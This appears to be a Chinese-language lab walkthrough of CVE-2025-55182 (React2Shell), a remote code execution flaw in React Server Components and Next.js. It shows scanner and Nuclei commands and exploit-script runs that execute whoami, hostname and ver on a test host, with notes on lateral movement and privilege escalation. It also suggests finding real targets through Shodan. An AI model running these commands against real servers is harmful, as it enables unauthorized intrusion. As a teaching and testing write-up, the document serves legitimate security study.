CVE-2025-55182 安全漏洞利用
CVE-2025-55182,又称 React2Shell,是一个影响 React Server Components (RSC) 的严重远程代码执行(Remote Code Execution, RCE)漏洞。它通过 Flight 协议在客户端和服务器之间进行通信。当客户端请求数据时,服务器会收到一个 payload 并对其进行解析,这可能允许攻击者注入 React 会视为合法的恶意结构或任意代码。
| 项目 | 内容 |
|---|---|
| 严重程度 | Critical (CVSS 10.0) |
| 类型 | Unsafe Deserialization (CWE-502) |
| 攻击方式 | 远程,无需身份验证 |
| 受影响版本: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 和 Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
服务器在处理来自客户端的 payload 时未进行全面验证,从而允许攻击者:
针对该漏洞的利用活动自 2025 年 12 月 5 日起已被发现。大多数成功利用源于攻击团队的评估。Windows 和 Linux 环境均受影响。
安装
pip install -r requirements.txt
扫描一台存在漏洞的服务器:
python3 scanner.py -u https://example.com
输入需要扫描的路径(这里我输入自己的漏洞靶机,即 http://192.168.10.1:3000)
获得的结果:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
扫描服务器列表:
python3 scanner.py -l hosts.txt
使用多线程扫描并保存结果:
python3 scanner.py -l hosts.txt -t 20 -o results.json
使用自定义请求头扫描:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
扫描 Windows 目标:
python3 scanner.py -u https://example.com --windows
使用安全旁路检测方法:
python3 scanner.py -u https://example.com --safe-check
如你所见,我们正面临一个安全漏洞,这意味着我们提供的服务器容易受到攻击者的攻击。
现在,我们将使用 Nuclei 来检查上述服务器存在哪些带有 POC 的漏洞。该功能通过发送自定义请求来工作,可减少误报(false positive)并支持并行扫描。
nuclei -t scan.yaml -u http://192.168.10.1:3000
获得的结果
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
系统已检测到该服务器存在漏洞,并可通过 CVE-2025-55182 漏洞进行利用。由此可见,这是一个相当危险且重要的漏洞,社交媒体平台上已经有大量 POC。☺☺☺
你可以看到,仅凭这些信息就足以确认上述应用中存在安全漏洞。为了证明该应用可被用于远程执行命令或代码,我将开始 PoC。
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
含义:
返回当前正在运行服务器进程的用户
帮助确定:
=> 这是确认 RCE 是否成功最基本的命令
-d, --domain - domain/URL-c, --command - 需要执行的命令(例如:whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
这是成功利用后的初始侦察(initial reconnaissance)步骤。
帮助我们确认:RCE 生效、识别操作系统等
由于本次实验我是在个人实验室环境中演示,以避免涉及法律问题,因此使用 HTTP 请求头窃取数据、较大的输出或特殊字符可能会导致:
ERR_INVALID_CHAR
在以上测试环境中,短命令(例如:whoami、ver)更可靠,更适合演示。
如果你不想这样做,也可以使用 Shodan 在真实环境中直接查找 IP 地址,并按照我上面的实验步骤进行利用(不鼓励)。
如上文所述。此工具仅用于教育和授权安全测试目的。请勿使用此工具对你不拥有或没有测试权限的系统进行测试。
| 执行命令的含义 | 内容 |
|---|
| 返回主机名(host name) | 用于: - 标识受影响的系统 - 为横向移动(lateral movement)提供支持(在内网环境中) |
| 确定操作系统版本 | 对以下操作很重要: - 评估进一步利用(privilege escalation)的可能性 - 选择合适的 exploit |
| 检查命令执行 | 用于调试 payload / scanner |
| 返回当前用户名 | 在这种情况下: -用户是 ADMIN → 可能具有高权限 - 在某些 Windows 情况下比 whoami 更重要 |
| 返回主机名 | 通过环境变量返回主机名 |